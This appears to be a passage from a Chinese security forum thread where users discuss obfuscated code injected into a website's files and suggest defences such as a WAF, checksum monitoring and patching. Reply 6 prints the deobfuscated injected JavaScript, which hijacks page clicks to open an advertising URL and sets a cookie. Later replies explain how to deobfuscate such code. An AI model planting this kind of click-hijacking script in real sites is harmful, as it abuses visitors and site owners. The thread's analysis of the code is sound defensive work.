能力值：
(RANK：350 )
|
-
-
2 楼
搞个WAF防火墙
或找些现成程序，监控文件内容是不是有变化，即时报警。
关键还是要把漏洞堵住。
|
能力值：
( LV2，RANK：10 )
|
-
-
3 楼
一直都有这种广告性的代码，唉，杀不绝的，360，SOHO拼音，百度下载工具，独有这些流氓特性
|
能力值：
( LV3，RANK：20 )
|
-
-
4 楼
注意定期对比checksum
|
能力值：
( LV5，RANK：60 )
|
-
-
5 楼
好像我电脑也是会自动跳转到这些广告页面，我目前没找到他怎么劫持的
|
能力值：
( LV2，RANK：10 )
|
-
-
6 楼
解密后结果如下：
var justforfun='http://api.kuai8.com/jump?wd=';function cookieGet(a){var b="";var c=a+"=";if(document.cookie.length>0){offset=document.cookie.indexOf(c);if(offset!=-1){offset+=c.length;end=document.cookie.indexOf(";",offset);if(end==-1)end=document.cookie.length;b=unescape(document.cookie.substring(offset,end))}}return b}function cookieSet(a,b,c){var d="";if(c!=null){d=new Date((new Date()).getTime()+c*3600000);d="; expires="+d.toGMTString()}document.cookie=a+"="+escape(b)+d+";path=/"}function popOpen(a){var a=a+encodeURIComponent(document.title);var b=0;var c='Pop_mama';if(!cookieGet(c)&&!b){window.open(a);window.focus();b=1;cookieSet(c,1,12)}}(function(d,w,r){if((navigator.userAgent.indexOf('MSIE')>=0)&&(navigator.userAgent.indexOf('Opera')<0)){d.writeln('<div style="height: 100%;width: 100%;z-index: 100000;top: 0;left: 0;position: fixed;" onclick="popOpen(justforfun);"></div>')}else{d.onclick=function(){popOpen(justforfun)}}})(document,window,justforfun);
|
能力值：
( LV2，RANK：10 )
|
-
-
7 楼
LZ好厉害, 这种函数嵌套的伪加密代码最不容易发现了
|
能力值：
( LV2，RANK：10 )
|
-
-
8 楼
还是楼主细心和有耐心，这样都被你找出来
|
能力值：
( LV2，RANK：10 )
|
-
-
9 楼
定期维护很重要，学习一下
|
能力值：
( LV2，RANK：10 )
|
-
-
10 楼
百度kuai8是一个游戏盒子的，并不像是黑客入侵的啊。而且他这段javascript写的真有水准，除了后面几个参数之外，其他的都看不懂，晕倒！
|
能力值：
( LV2，RANK：10 )
|
-
-
11 楼
看雪哥说的对，关键是要把漏洞堵住，其实WAF是拦截不了这种JS调用的，这个被感染的JS文件，并不能说明网站被人黑掉什么的，其实，很多ISP服务商都会做这样的事情，DNS污染，推广，至于原因嘛，你懂的，不能说太直白
|
能力值：
( LV2，RANK：10 )
|
-
-
12 楼
楼主厉害的！
|
能力值：
( LV2，RANK：10 )
|
-
-
13 楼
这广告代码做的太花心思了。
|
能力值：
( LV2，RANK：10 )
|
-
-
14 楼
定期跳转到不同的网页是怎么实现的？ 如果先跳转到一个固定网页之后再做跳转会不会更容易一点，难道是网页有后门，每次批量改的吗？
|
能力值：
( LV13，RANK：460 )
|
-
-
15 楼
这2段经模糊处理和编码后的代码，看上去不像是人工编写的，一定是通过某些 php 和 js 代码混淆工具，通过程序员的明文输入，输出密文，尤其是第一段中传给 Class_UC_key() 的参数，看起来像是SHA512 加密的，我就不信他手工写得出来；
第一段 php 作为第二段恶意 js 攻击载荷的释放器；通过 6 楼给出的 js 反模糊结果可以看出，
它会在页面动态生成一个 div ，一旦触发了该 div 的点击事件，则新开一个浏览器窗口（window.open()），窗口地址栏的 URL 就是变量 justforfun 的值：api.kuai8.com
除此之外，它还会通过 document.cookie 新增一个 cookie ，并设置过期时间为当前时间算起的 40天以后（360万秒）
从它跳转到商业广告性质的页面来看，不排除是负责 LZ 网站运维的主机托管商那里有内鬼/员工修改了你的正常 php 文件导致的（ 变量 justforfun=开玩笑，动机应该不是恶意入侵）
比较好奇的是6楼使用的反模糊工具。。。。
|
能力值：
( LV2，RANK：10 )
|
-
-
16 楼
关键在于补洞，一旦被攻入，就很难完全清理干净了
|
能力值：
( LV2，RANK：10 )
|
-
-
17 楼
学习一下
|
能力值：
( LV2，RANK：10 )
|
-
-
18 楼
shayi
这2段经模糊处理和编码后的代码，看上去不像是人工编写的，一定是通过某些 php 和 js 代码混淆工具，通过程序员的明文输入，输出密文，尤其是第一段中传给 Class_UC_key() 的参数，看起来 ...
15楼可能是想知道6楼怎么得来的结果。
很简单，把看不懂那段Javascript放到调试器中 eval(
function(){
......此处省略.....
return p//在这里下断点，然后这个p就是明文Javascript。
}
(...此处省略...)
)；
|
能力值：
( LV2，RANK：10 )
|
-
-
19 楼
那些记忆
shayi
这2段经模糊处理和编码后的代码，看上去不像是人工编写的，一定是通过某些 php 和 js 代码混淆工具，通过程序员的明文输入，输 ...
没那么复杂 直接把eval换成alert
|
能力值：
( LV2，RANK：10 )
|
-
-
20 楼
除开eval，然后document.write(加密的代码)，浏览器运行也是源码 
|
能力值：
![]()
(RANK：10 )
|
-
-
21 楼
有实力的请联系我看个签
|
能力值：
( LV2，RANK：10 )
|
-
-
23 楼
kanxue
搞个WAF防火墙
或找些现成程序，监控文件内容是不是有变化，即时报警。
关键还是要把漏洞堵住。
WAF防火墙用哪种比较好？
|
|
|
|
